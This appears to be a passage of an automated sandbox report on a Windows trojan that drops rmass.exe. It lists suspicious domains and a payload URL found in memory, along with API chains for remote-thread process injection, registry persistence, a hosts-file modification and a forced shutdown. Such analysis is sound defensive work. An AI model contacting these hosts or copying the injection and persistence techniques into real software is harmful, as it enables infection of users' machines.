Source: rmass.exe, 00000001.00000003.3792173050.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xgswoeoxdde.pw/
Source: rmass.exe, 00000001.00000003.4001147326.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998781068.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4002838193.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4003141728.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xwfqkjefa.museum/
Source: rmass.exe, 00000001.00000003.4001147326.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4002838193.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4003141728.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xwfqkjefa.museum/d
Source: rmass.exe, 00000001.00000003.4001147326.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4002838193.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4003141728.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xwfqkjefa.museum/ed
Source: rmass.exe, 00000001.00000003.3998781068.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xwfqkjefa.museum/stem32
Source: rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yauggggfuadmk.tk/
Source: rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ykcpkaie.tk/
Source: rmass.exe, 00000001.00000003.2793484731.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yugny.cd/-D7
Source: rmass.exe, 00000001.00000003.3458837407.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yvgaoygyg.nu/tdbg.exe
Source: rmass.exe, 00000001.00000003.3064850296.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yvgismmxlhoqhp.st/
Source: rmass.exe, 00000001.00000003.4160934365.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171570478.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4158491294.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4157533269.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4159461995.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4164161021.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ywowanpba.pw/
Source: rmass.exe, 00000001.00000003.4160934365.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171570478.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4158491294.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4157533269.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4159461995.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4164161021.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ywowanpba.pw//
Source: rmass.exe, 00000001.00000003.2114872359.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yyggkyhx.cd/
Source: rmass.exe, 00000001.00000003.2599285669.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2554346948.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2631942678.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zquxf.tk/
Source: rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795177293.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zugzq.st/
Source: rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795177293.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zugzq.st/d
Source: rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zuucswx.tk/
Source: explorer.exe, 00000004.00000003.3107438145.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1715695396.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000004.00000003.3498166967.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000004.00000003.3498166967.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000004.00000000.1715695396.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000004.00000000.1712490988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000004.00000000.1712490988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000004.00000002.4170341145.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1708403572.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709039463.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4172504344.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000004.00000002.4179717603.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000004.00000000.1712490988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000004.00000002.4179717603.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000004.00000000.1709945572.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000004.00000000.1709945572.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000004.00000000.1715695396.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4184384186.000000000C5E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3107438145.000000000C5E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000004.00000000.1709945572.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 00000004.00000000.1715695396.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4184384186.000000000C5E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3107438145.000000000C5E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000004.00000000.1715695396.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4184384186.000000000C5E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3107438145.000000000C5E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000004.00000000.1715695396.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4183713436.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000004.00000000.1715695396.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4184384186.000000000C5E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3107438145.000000000C5E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000004.00000000.1709945572.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000004.00000000.1709945572.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Windows\SysWOW64\rmass.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Code function: 0_2_0040370C GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,	0_2_0040370C
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Code function: 0_2_00404A24 GetSystemDirectoryA,lstrcat,lstrcat,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlen,lstrcpy,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpy,lstrcpy,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,InitOnceBeginInitialize,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,	0_2_00404A24
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Code function: 0_2_004033B4 lstrlen,OpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,CreateRemoteThread,CloseHandle,CloseHandle,VirtualAlloc,lstrcpy,	0_2_004033B4
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 1_2_0040370C GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,	1_2_0040370C
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 1_2_004033B4 lstrlen,OpenProcess,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,CreateRemoteThread,CloseHandle,CloseHandle,VirtualAlloc,lstrcpy,	1_2_004033B4
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 1_2_00405B64 RtlAdjustPrivilege,NtShutdownSystem,RegCloseKey,	1_2_00405B64

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Code function: 0_2_00404A24 GetSystemDirectoryA,lstrcat,lstrcat,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlen,lstrcpy,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpy,lstrcpy,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,InitOnceBeginInitialize,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,	0_2_00404A24
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 1_2_00405B64 RtlAdjustPrivilege,NtShutdownSystem,RegCloseKey,	1_2_00405B64
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 2_2_00404A24 GetSystemDirectoryA,lstrcat,lstrcat,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlen,lstrcpy,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpy,lstrcpy,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,InitOnceBeginInitialize,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,ExitWindowsEx,RegCloseKey,	2_2_00404A24

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	File created: C:\Windows\SysWOW64\rmass.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ntdbg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ahuy.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\RECOVER32.DLL	Jump to behavior

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Code function: 0_2_0040370C	0_2_0040370C
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Code function: 0_2_00404A24	0_2_00404A24
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 1_2_0040370C	1_2_0040370C
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 2_2_00404A24	2_2_00404A24
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 2_2_0040370C	2_2_0040370C

Source: NpHauDPoR8.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.troj.adwa.evad.winEXE@5/6@1713/3

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

Code function: 0_2_004035CF GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,Process32Next,CloseHandle,WaitForSingleObject,CloseHandle,GetStartupInfoA,OpenProcess,CreateProcessA,ExitProcess,

0_2_004035CF

Source: C:\Windows\SysWOW64\rmass.exe

File created: C:\Users\user\AppData\Roaming\tmpE02.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\{0C8E6D89-EA51-848A-7775-6C2CC072CA88}
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0A
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0B
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0C
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0D
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0E
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0F
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1A59D3E9-9D17-EB65-EA3F-071C953972C0}
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-01
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-02
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-03
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-04
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-05
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-06
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-07
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-08
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-09

Source: NpHauDPoR8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
